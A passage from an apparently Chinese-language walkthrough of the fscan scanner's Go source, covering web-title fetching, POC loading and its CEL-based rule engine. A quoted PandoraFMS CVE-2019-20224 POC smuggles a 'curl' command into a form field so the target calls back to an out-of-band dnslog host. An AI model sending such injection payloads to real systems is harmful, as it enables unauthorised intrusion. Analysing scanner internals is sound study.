    //flag 4 400 -> https

    Url := info.Url
    // 参数为2,主要获取网站信息,访问的是./favicon.ico
    if flag == 2 {
        // 调用url库,解析url字符串
        URL, err := url.Parse(Url)
        if err == nil {
            // 取出url之后,将Url复用为图标文件路径
            Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
        } else {
            // 若原Url解析失败,则直接在末尾加上图标文件
            Url += "/favicon.ico"
        }
    }
    // 发起一次新的http GET 请求
    req, err := http.NewRequest("GET", Url, nil)
    if err != nil {
        return err, "", CheckData
    }
    // 配置http头
    // UserAgent  = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
    // Accept     = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
    req.Header.Set("User-agent", common.UserAgent)
    req.Header.Set("Accept", common.Accept)
    req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
    if common.Cookie != "" {
    // flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
        req.Header.Set("Cookie", common.Cookie)
    }
    //if common.Pocinfo.Cookie != "" {
    //  req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
    //} else {
    //  req.Header.Set("Cookie", "rememberMe=1")
    //}
    req.Header.Set("Connection", "close")
    var client *http.Client
    // 如果是第一次连接,调用inithttp封装好的连接客户端
    if flag == 1 {
        client = lib.ClientNoRedirect
    } else {
        client = lib.Client
    }

    // clinet客户端发出构建好的请求
    resp, err := client.Do(req)
    if err != nil {
        return err, "https", CheckData
    }

    defer resp.Body.Close()
    var title string
    // 解析响应数据包
    body, err := getRespBody(resp)
    if err != nil {
        return err, "https", CheckData
    }
    // 更新CheckData
    // type CheckDatas struct {
    //  Body    []byte
    //  Headers string
    // }
    CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
    var reurl string

    // 解http响应包
    if flag != 2 {
        if !utf8.Valid(body) {
            // 解GBK编码
            body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
        }
        // 获取title
        title = gettitle(body)
        length := resp.Header.Get("Content-Length")
        if length == "" {
            length = fmt.Sprintf("%v", len(body))
        }
        // 解location头,定位重定向url
        redirURL, err1 := resp.Location()
        if err1 == nil {
            reurl = redirURL.String()
        }
        result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
        if reurl != "" {
            result += fmt.Sprintf(" 跳转url: %s", reurl)
        }
        common.LogSuccess(result)
    }
    if reurl != "" {
        // 返回重定向URL
        return nil, reurl, CheckData
    }
    // status==400 && https:// 
    if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
        return nil, "https", CheckData
    }
    return nil, "", CheckData
}

可以看到这个函数内部作者做了所有的url检查,回到gowebtitle函数,继续调用几次geturl以应对不同的情况。
这一部分写的很不优雅,完全可以函数内部调用封装函数处理不同情况,但是笔者选择重复调用函数,过程中会重复设置请求,执行重复过程,开销更多,不如原地解决

//有跳转
    if strings.Contains(result, "://") {
        info.Url = result
        // 传入flag=3,处理重定向
        err, result, CheckData = geturl(info, 3, CheckData)
        if err != nil {
            return
        }
    }

    if result == "https" && !strings.HasPrefix(info.Url, "https://") {
        info.Url = strings.Replace(info.Url, "http://", "https://", 1)
        err, result, CheckData = geturl(info, 1, CheckData)
        //有跳转
        if strings.Contains(result, "://") {
            info.Url = result
            err, _, CheckData = geturl(info, 3, CheckData)
            if err != nil {
                return
            }
        }
    }
    //是否访问图标
    //err, _, CheckData = geturl(info, 2, CheckData)
    if err != nil {
        return
    }
    return
}
getRespBody

上面没有看的解析响应包函数getRespBody。主要处理了Content-Encoding=gzip的情况。若没有加密,则直接读数据即可。

func getRespBody(oResp *http.Response) ([]byte, error) {
    var body []byte
    if oResp.Header.Get("Content-Encoding") == "gzip" {
        gr, err := gzip.NewReader(oResp.Body)
        if err != nil {
            return nil, err
        }
        defer gr.Close()
        for {
            buf := make([]byte, 1024)
            n, err := gr.Read(buf)
            if err != nil && err != io.EOF {
                return nil, err
            }
            if n == 0 {
                break
            }
            body = append(body, buf...)
        }
    } else {
        raw, err := io.ReadAll(oResp.Body)
        if err != nil {
            return nil, err
        }
        body = raw
    }
    return body, nil
}

gettitle

正则表达式:(?ims)<title.*?>(.*?)</title>,匹配<title>(任意字符)</title>

func gettitle(body []byte) (title string) {
    re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
    find := re.FindSubmatch(body)
    if len(find) > 1 {
        // 排除空格、换行等字符
        title = string(find[1])
        title = strings.TrimSpace(title)
        title = strings.Replace(title, "\n", "", -1)
        title = strings.Replace(title, "\r", "", -1)
        title = strings.Replace(title, "&nbsp;", " ", -1)
        if len(title) > 100 {
            title = title[:100]
        }
        // 如果是空格,则替换为""
        if title == "" {
            title = "\"\"" //空格
        }
    } else {
        title = "None" //没有title
    }
    return
}

WebScan

用sync.once 保证initpoc函数只调用一次(大哥,能不能写一个Init的,这代码结构也太乱了)。跟进initpoc

//go:embed pocs
var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc

func WebScan(info *common.HostInfo) {
    once.Do(initpoc)
    // flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
    var pocinfo = common.Pocinfo
    buf := strings.Split(info.Url, "/")
    pocinfo.Target = strings.Join(buf[:3], "/")

    if pocinfo.PocName != "" {
        Execute(pocinfo)
    } else {
        for _, infostr := range info.Infostr {
            pocinfo.PocName = lib.CheckInfoPoc(infostr)
            Execute(pocinfo)
        }
    }
}

initpoc

起到,读取poc文件夹中poc文件的作用,并且用embed库嵌入进代码。

func initpoc() {
    if common.PocPath == "" {
        entries, err := Pocs.ReadDir("pocs")
        if err != nil {
            fmt.Printf("[-] init poc error: %v", err)
            return
        }
        for _, one := range entries {
            path := one.Name()
            if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
                if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
                    AllPocs = append(AllPocs, poc)
                }
            }
        }
    } else {
        fmt.Println("[+] load poc from " + common.PocPath)
        err := filepath.Walk(common.PocPath,
            func(path string, info os.FileInfo, err error) error {
                if err != nil || info == nil {
                    return err
                }
                if !info.IsDir() {
                    if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
                        poc, _ := lib.LoadPocbyPath(path)
                        if poc != nil {
                            AllPocs = append(AllPocs, poc)
                        }
                    }
                }
                return nil
            })
        if err != nil {
            fmt.Printf("[-] init poc error: %v", err)
        }
    }
}

Execute

这算是执行漏扫之前的包装函数,创建了GET请求,简单构建了下。
接下来调用filterpoclib.CheckMultiPoc
filterpoc做了两件事:

  1. 若没指定pocname,则使用embed读入的文件夹内所有poc
  2. 若指定了pocname,则从统一读取进程序的所有poc中指定poc运行

跟进lib.CheckMultiPoc

func Execute(PocInfo common.PocInfo) {
    req, err := http.NewRequest("GET", PocInfo.Target, nil)
    if err != nil {
        errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
        common.LogError(errlog)
        return
    }
    req.Header.Set("User-agent", common.UserAgent)
    req.Header.Set("Accept", common.Accept)
    req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
    if common.Cookie != "" {
        req.Header.Set("Cookie", common.Cookie)
    }
    pocs := filterPoc(PocInfo.PocName)
    lib.CheckMultiPoc(req, pocs, common.PocNum)
}

func filterPoc(pocname string) (pocs []*lib.Poc) {
    if pocname == "" {
        return AllPocs
    }
    for _, poc := range AllPocs {
        if strings.Contains(poc.Name, pocname) {
            pocs = append(pocs, poc)
        }
    }
    return
}

lib.CheckMultiPoc

传入构建好的get请求、poc模块对象、pocnum(每次扫描多少poc)

lib.CheckMultiPoc(req, pocs, common.PocNum)
type Task struct {
    Req *http.Request
    Poc *Poc
    // type Poc struct {
    // Name   string  `yaml:"name"`
    // Set    StrMap  `yaml:"set"`
    // Sets   ListMap `yaml:"sets"`
    // Rules  []Rules `yaml:"rules"`
    // Groups RuleMap `yaml:"groups"`
    // Detail Detail  `yaml:"detail"`
}
}

func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
    tasks := make(chan Task)
    var wg sync.WaitGroup
    // 根据传入的pocnum开始发起poc扫描
    for i := 0; i < workers; i++ {
        // 启动poc对应的任务处理线程
        go func() {
            for task := range tasks {
                // 检查接受的task的请求是否是漏洞
                isVul, _, name := executePoc(task.Req, task.Poc)
                if isVul {
                    result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
                    common.LogSuccess(result)
                }
                wg.Done()
            }
        }()
    }
    // 发起poc扫描任务请求
    // 由上面的处理协程进行分析
    for _, poc := range pocs {
        task := Task{
            Req: req,
            Poc: poc,
        }
        wg.Add(1)
        tasks <- task
    }
    wg.Wait()
    close(tasks)
}

poc引擎(面向过程)

接下来是poc引擎的代码部分。
首先进入executePoc开始poc解析的工作,包含cel表达式完整生命周期的管理(初始化、配置、程序执行等)。
fscan中使用的cel-go的版本是0.13.0

★ executePoc(规则匹配)

核心逻辑。检查接收到的poc扫描task中请求是否存在漏洞,满足poc所示漏洞触发条件。
主要逻辑涉及poc模块解析引擎的问题,代码使用了google开发的cel表达式,xray就是使用cel表达式进行规则匹配的。这里使用cel-go库进行扩展语言的处理。
有关cel表达式,详情可以参考:
cel表达式
运行cel表达式有三个过程:

  1. 构建cel环境,初始化cel.Env
  2. 向cel环境中注入类型、方法。
  3. 计算表达式。

    func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
     c := NewEnvOption()
     c.UpdateCompileOptions(p.Set)
     ......
    

    ## NewEnvOption
    作者封装了对于cel-go的env配置。
    首先作者将cel的evoption和programoption封装成一个结构体CustomLib

    type CustomLib struct {
     envOptions     []cel.EnvOption
     programOptions []cel.ProgramOption
    }
    

    ### 变量声明
    然后是设置env。
    注意:以下decls包的一些函数已经过时被弃用,比如NewIdent改用 NewVarNewConst
    decls使用的时候需要与expr库进行配合。文档:https://pkg.go.dev/google.golang.org/genproto/googleapis/api/expr/v1alpha1
    :::warning
    expr库是一个用于在Go语言中执行表达式的库,它支持数值运算、逻辑运算、字符串操作、正则匹配、类型转换等功能,还可以自定义函数和变量。expr库的特点是准确、安全、快速,它可以用于实现动态配置、规则引擎、数据分析等场景。
    :::

    func NewEnvOption() CustomLib {
     c := CustomLib{}
    
     c.envOptions = []cel.EnvOption{
         // 指定一个命名空间 “lib” ,用于存放自定义的类型和函数。
         cel.Container("lib"),
         // 注册一些自定义的类型,主要用到protobuf
         cel.Types(
             &UrlType{},
             // type UrlType struct {
             //  state         protoimpl.MessageState
             //  sizeCache     protoimpl.SizeCache
             //  unknownFields protoimpl.UnknownFields
    
             //  Scheme   string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
             //  Domain   string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
             //  Host     string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
             //  Port     string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
             //  Path     string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
             //  Query    string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
             //  Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
             // }
             &Request{},
             &Response{},
             &Reverse{},
         ),
         // 声明一些自定义的变量和函数
         cel.Declarations(
             // 创建新的标识符(变量)
             // 参数:变量名称、变量类型、初始值
             decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
             decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
             decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
         ),
         cel.Declarations(
             // functions
             // 定义全局函数,同时指定重载函数
             decls.NewFunction("bcontains",
                 decls.NewInstanceOverload("bytes_bcontains_bytes",
                     []*exprpb.Type{decls.Bytes, decls.Bytes},
                     decls.Bool)),
             decls.NewFunction("bmatches",
                 decls.NewInstanceOverload("string_bmatches_bytes",
                     []*exprpb.Type{decls.String, decls.Bytes},
                     decls.Bool)),
             decls.NewFunction("md5",
                 decls.NewOverload("md5_string",
                     []*exprpb.Type{decls.String},
                     decls.String)),
             .........
             .........
             decls.NewFunction("hexdecode",
                 decls.NewInstanceOverload("hexdecode",
                     []*exprpb.Type{decls.String},
                     decls.Bytes)),
         ),
     }
    

    ### 函数声明
    使用cel.Functions函数,进行全局重载函数的注册(不是用于函数的声明,而是重载函数的声明)
    一些前置数据结构
    ```go
    // Overload 定义了函数的一个命名重载,表示必须在重载的第一个参数上存在的操作数特性,以及一元、二元或函数实现中的一个。
    //
    // 表达式语言中的大多数运算符都是一元或二元的,而特殊化简化了具有运算符重载类型的实现者的调用约定。任何额外的复杂性都假定由通用的 FunctionOp 来处理。
    type Overload struct {
    // Operator 是作为表达式中写入的运算符名称,或在 operators.go 中定义的运算符名称。
    Operator string

    // OperandTrait 用于分派调用的操作数特性。零值表示全局函数重载,或应使用 Unary/Binary/Function 定义之一来执行调用。
    OperandTrait int

    // Unary 使用 UnaryOp 实现定义重载。可能为 nil。
    Unary UnaryOp

    // Binary 使用 BinaryOp 实现定义重载。可能为 nil。
    Binary BinaryOp

    // Function 使用 FunctionOp 实现定义重载。可能为 nil。
    Function FunctionOp

    // NonStrict 指定 Overload 是否容忍类型为 types.Err 或 types.Unknown 的参数。
    NonStrict bool
    }

// UnaryOp 是一个接受单个值并产生输出的函数。
type UnaryOp func(value ref.Val) ref.Val

// BinaryOp 是一个接受两个值并产生输出的函数。
type BinaryOp func(lhs ref.Val, rhs ref.Val) ref.Val

// FunctionOp 是一个接受零个或多个参数并产生值或错误结果的函数。
type FunctionOp func(values ...ref.Val) ref.Val

```go
c.programOptions = []cel.ProgramOption{
    cel.Functions(
        &functions.Overload{
            // 
            Operator: "bytes_bcontains_bytes",
            // 二元函数,使用binary
            Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
                v1, ok := lhs.(types.Bytes)
                if !ok {
                    return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
                }
                v2, ok := rhs.(types.Bytes)
                if !ok {
                    return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
                }
                return types.Bool(bytes.Contains(v1, v2))
            },
        },
        ............
        ............
        &functions.Overload{
            Operator: "hexdecode",
            // 单参数,用Unary
            Unary: func(lhs ref.Val) ref.Val {
                v1, ok := lhs.(types.String)
                if !ok {
                    return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
                }
                out, err := hex.DecodeString(string(v1))
                if err != nil {
                    return types.ValOrErr(lhs, "hexdecode error: %v", err)
                }
                // 不区分大小写包含
                return types.Bytes(out)
            },
        },
    ),
}
return c
}

UpdateCompileOptions

func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
    .....
    c.UpdateCompileOptions(p.Set)
    if len(p.Sets) > 0 {
        var setMap StrMap
        for _, item := range p.Sets {
            if len(item.Value) > 0 {
                setMap = append(setMap, StrItem{item.Key, item.Value[0]})
            } else {
                setMap = append(setMap, StrItem{item.Key, ""})
            }
        }
        c.UpdateCompileOptions(setMap)
    }
    .....

根据传入的poc中set参数,向env中声明新的变量

func (c *CustomLib) UpdateCompileOptions(args StrMap) {
    for _, item := range args {
        k, v := item.Key, item.Value
        // 在执行之前是不知道变量的类型的,所以统一声明为字符型
        // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
        var d *exprpb.Decl
        if strings.HasPrefix(v, "randomInt") {
            d = decls.NewIdent(k, decls.Int, nil)
        } else if strings.HasPrefix(v, "newReverse") {
            d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
        } else {
            d = decls.NewIdent(k, decls.String, nil)
        }
        c.envOptions = append(c.envOptions, cel.Declarations(d))
    }
}

创建cel环境

调用cel.NewEnv,创建env环境

// func NewEnv(c *CustomLib) (*cel.Env, error) {
//  return cel.NewEnv(cel.Lib(c))
// }
env, err := NewEnv(&c)
if err != nil {
    fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
    return false, err, ""
}

解析http请求

传入的oReq是发起poc扫描的http连接,调用ParseRequest进行请求的解析

func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
    ......
    req, err := ParseRequest(oReq)
    if err != nil {
        fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
        return false, err, ""
    }
    ......

ParseRequest主要把http请求的数据,提取到自定义的Request结构中。
主要通过提取http.Request结构体完成功能。以下的protobuf相关字段不应该直接被用户修改,是protobuf库生成的。

type Request struct {
    state         protoimpl.MessageState
    sizeCache     protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    Url         *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
    Method      string            `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
    Headers     map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
    ContentType string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
    Body        []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
}

func ParseRequest(oReq *http.Request) (*Request, error) {
    req := &Request{}
    // 提取http参数
    req.Method = oReq.Method
    req.Url = ParseUrl(oReq.URL)
    header := make(map[string]string)
    for k := range oReq.Header {
        header[k] = oReq.Header.Get(k)
    }
    req.Headers = header
    req.ContentType = oReq.Header.Get("Content-Type")
    // 提取http数据
    // http.Request.Body是io.Reader接口类型
    if oReq.Body == nil || oReq.Body == http.NoBody {
    } else {
        // 读取完所有数据
        data, err := io.ReadAll(oReq.Body)
        if err != nil {
            return nil, err
        }
        req.Body = data
        // 关闭io.Reader,存回data,方便下次读取
        oReq.Body = io.NopCloser(bytes.NewBuffer(data))
    }
    return req, nil
}

set扩展表达式处理(动态函数执行)

variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
// 指定request为当前设置好的请求对象
variableMap["request"] = req
// 遍历poc.set
for _, item := range p.Set {
    k, expression := item.Key, item.Value
    // 
    if expression == "newReverse()" {
        if !common.DnsLog {
            return false, nil, ""
        }
        variableMap[k] = newReverse()
        continue
    }
    err, _ = evalset(env, variableMap, k, expression)
    if err != nil {
        fmt.Printf("[-] %s evalset error: %v\n", p.Name, err)
    }
}

举个例子,这里set设置reverse变量,值为调用newReverse函数后得到的对象,接着在下方的expression中展示了表达式,reverse.wait(5)代表着五秒之内是否收到反向shell连接

name: poc-yaml-pandorafms-cve-2019-20224-rce
set:
  reverse: newReverse()
  reverseURL: reverse.url
rules:
  - method: POST
    path: >-
      /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0
    headers:
    Content-Type: application/x-www-form-urlencoded
    body: >-
      date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{reverseURL}}+%23&draw_button=Draw
    follow_redirects: true
    expression: |
      response.status == 200 && reverse.wait(5)

newReverse

如果开启了Dnslog带外检测,则继续下去,否则返回一个空的反弹shell对象。
这里使用ceye.io平台,可以检测dnslog带外检测,api已经赋值好了,这里随机选取一个八位随机数的子域名进行访问即可。

type Reverse struct {
    state         protoimpl.MessageState
    sizeCache     protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    Url                string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
    Domain             string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
    Ip                 string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
    IsDomainNameServer bool   `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
}

func newReverse() *Reverse {
    if !common.DnsLog {
        return &Reverse{}
    }
    letters := "1234567890abcdefghijklmnopqrstuvwxyz"
    randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
    sub := RandomStr(randSource, letters, 8)
    //if true {
    //  //默认不开启dns解析
    //  return &Reverse{}
    //}
    urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
    u, _ := url.Parse(urlStr)
    return &Reverse{
        Url:                urlStr,
        Domain:             u.Hostname(),
        Ip:                 u.Host,
        IsDomainNameServer: false,
    }
}

evalset

如果是除了newReverse之外的其他expression函数,则进入evalset。其中首先调用Evaluate执行expression对应的函数,针对错误对variableMap的值赋值。如果有错误,根据传出的out结果的值类型,给variableMap赋不同类型的值。

func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
    out, err := Evaluate(env, expression, variableMap)
    if err != nil {
        variableMap[k] = expression
    } else {
        switch value := out.Value().(type) {
        case *UrlType:
            variableMap[k] = UrlTypeToString(value)
        case int64:
            variableMap[k] = int(value)
        default:
            variableMap[k] = fmt.Sprintf("%v", out)
        }
    }
    return err, fmt.Sprintf("%v", variableMap[k])
}

具体的执行函数。一套小流程,编译、定位函数、执行程序、返回输出。

func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
    if expression == "" {
        return types.Bool(true), nil
    }
    ast, iss := env.Compile(expression)
    if iss.Err() != nil {
        //fmt.Printf("compile: ", iss.Err())
        return nil, iss.Err()
    }

    prg, err := env.Program(ast)
    if err != nil {
        //fmt.Printf("Program creation error: %v", err)
        return nil, err
    }

    out, _, err := prg.Eval(params)
    if err != nil {
        //fmt.Printf("Evaluation error: %v", err)
        return nil, err
    }
    return out, nil
}

爆破模式

success := false
//爆破模式,比如tomcat弱口令
if len(p.Sets) > 0 {
    success, err = clusterpoc(oReq, p, variableMap, req, env)
    return success, nil, ""
}

clusterpoc

前置结构

type StrMap []StrItem
type ListMap []ListItem
type RuleMap []RuleItem

type StrItem struct {
    Key, Value string
}

rule结构

type Rules struct {
    Method          string            `yaml:"method"`
    Path            string            `yaml:"path"`
    Headers         map[string]string `yaml:"headers"`
    Body            string            `yaml:"body"`
    Search          string            `yaml:"search"`
    FollowRedirects bool              `yaml:"follow_redirects"`
    Expression      string            `yaml:"expression"`
    Continue        bool              `yaml:"continue"`
}
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
    var strMap StrMap
    var tmpnum int
    for i, rule := range p.Rules {
        if !isFuzz(rule, p.Sets) {
            success, err = clustersend(oReq, variableMap, req, env, rule)
            if err != nil {
                return false, err
            }
            if success {
                continue
            } else {
                return false, err
            }
        }
        setsMap := Combo(p.Sets)
        ruleHash := make(map[string]struct{})
    ......

isFuzz

如果有sets这个参数,则判断提取的rule记录是否需要fuzz,clusterpoc会调用isFuzz

func isFuzz(rule Rules, Sets ListMap) bool {
    for _, one := range Sets {
        key := one.Key
        // 判断请求头中是否含有字典中数据
        for _, v := range rule.Headers {
            if strings.Contains(v, "{{"+key+"}}") {
                return true
            }
        }
        // web访问路径
        if strings.Contains(rule.Path, "{{"+key+"}}") {
            return true
        }
        // 请求体数据
        if strings.Contains(rule.Body, "{{"+key+"}}") {
            return true
        }
    }
    return false
}

若不是fuzz,则调用clustersend发送数据包。如果成功,则继续下一条规则(poc中的下一步,会有多条rule,每一条代表一个步骤)

for i, rule := range p.Rules {
    if !isFuzz(rule, p.Sets) {
        success, err = clustersend(oReq, variableMap, req, env, rule)
        if err != nil {
            return false, err
        }
        if success {
            continue
        } else {
            return false, err
        }
    }

如果是fuzz,则需要对fuzz的数据进行提取,然后继续下面的逻辑。
举例:

name: poc-yaml-fckeditor-info
sets:
  path:
    - "/fckeditor/_samples/default.html"
    - "/fckeditor/editor/filemanager/connectors/uploadtest.html"
    - "/ckeditor/samples/"
    - "/editor/ckeditor/samples/"
    - "/ckeditor/samples/sample_posteddata.php"
    - "/editor/ckeditor/samples/sample_posteddata.php"
    - "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"
    - "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php"
rules:
  - method: GET
    path: /{{path}}
    follow_redirects: false
    expression: |
      response.body.bcontains(b'<title>FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples</title>') || response.body.bcontains(b'http://ckeditor.com</a>') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'")
detail:
  author: shadown1ng(https://github.com/shadown1ng)

isfuzz会检查rules中是否存在{{sets.param.key}},若存在,需要在后续进行替换。不存在就直接调用clustersend

不需要fuzz

clustersend

这里的variablemap,是从set中获取的变量信息。

func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
    // 遍历set变量map
    for k1, v1 := range variableMap {
        // 排除哈希数组类型
        _, isMap := v1.(map[string]string)
        if isMap {
            continue
        }
        // 赋值v1为set变量的值
        value := fmt.Sprintf("%v", v1)
        // 遍历规则中http headers,根据poc变换请求体
        for k2, v2 := range rule.Headers {
            // 判断header规则中是否有set变量,如果有,用执行后的set变量值value代替原set变量名
            if strings.Contains(v2, "{{"+k1+"}}") {
                rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
            }
        }
        // 变换path、body规则请求
        rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
        rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
    }
    // 变换原始http路径为变形后路径
    if oReq.URL.Path != "" && oReq.URL.Path != "/" {
        req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
    } else {
        req.Url.Path = rule.Path
    }
    // 某些poc没有区分path和query,需要处理
    // 用html编码转换空格
    req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
    //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
    //

    // 根据依照poc更改后的http信息,重新生成http连接请求
    newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
    if err != nil {
        //fmt.Println("[-] newRequest error:",err)
        return false, err
    }
    // 配置新http请求
    newRequest.Header = oReq.Header.Clone()
    for k, v := range rule.Headers {
        newRequest.Header.Set(k, v)
    }
    // 发起连接
    resp, err := DoRequest(newRequest, rule.FollowRedirects)
    newRequest = nil
    if err != nil {
        return false, err
    }
    variableMap["response"] = resp
    // 先判断响应页面是否匹配search规则
    if rule.Search != "" {
        result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
        if result != nil && len(result) > 0 { // 正则匹配成功
            for k, v := range result {
                variableMap[k] = v
            }
            //return false, nil
        } else {
            return false, nil
        }
    }
    out, err := Evaluate(env, rule.Expression, variableMap)
    if err != nil {
        if strings.Contains(err.Error(), "Syntax error") {
            fmt.Println(rule.Expression, err)
        }
        return false, err
    }
    //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
    if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
        return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
    }
    return true, err
}
DoRequest

上面用到的Dorequest函数如下:

func DoRequest(req *http.Request, redirect bool) (*Response, error) {
    // 设置请求
    if req.Body == nil || req.Body == http.NoBody {
    } else {
        req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
        if req.Header.Get("Content-Type") == "" {
            req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        }
    }
    var oResp *http.Response
    var err error
    // 选择是否跟踪重定向,发起http连接
    if redirect {
        oResp, err = Client.Do(req)
    } else {
        oResp, err = ClientNoRedirect.Do(req)
    }
    if err != nil {
        //fmt.Println("[-]DoRequest error: ",err)
        return nil, err
    }
    defer oResp.Body.Close()
    // 解析响应
    resp, err := ParseResponse(oResp)
    if err != nil {
        common.LogError("[-] ParseResponse error: " + err.Error())
        //return nil, err
    }
    return resp, err
}
解析响应

进入ParseResponse。
将http.response的字段转换成自定义结构Response的字段。

type Response struct {
    state         protoimpl.MessageState
    sizeCache     protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    Url         *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
    Status      int32             `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
    Headers     map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
    ContentType string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
    Body        []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
    Duration    float64           `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
}
func ParseResponse(oResp *http.Response) (*Response, error) {
    var resp Response
    header := make(map[string]string)
    resp.Status = int32(oResp.StatusCode)
    resp.Url = ParseUrl(oResp.Request.URL)
    for k := range oResp.Header {
        header[k] = strings.Join(oResp.Header.Values(k), ";")
    }
    resp.Headers = header
    resp.ContentType = oResp.Header.Get("Content-Type")
    body, _ := getRespBody(oResp)
    resp.Body = body
    return &resp, nil
}

跟进getRespBody。io.Readall读取完body的数据。当err返回EOF时,代表读取完毕,返回body []byte和错误。

func getRespBody(oResp *http.Response) (body []byte, err error) {
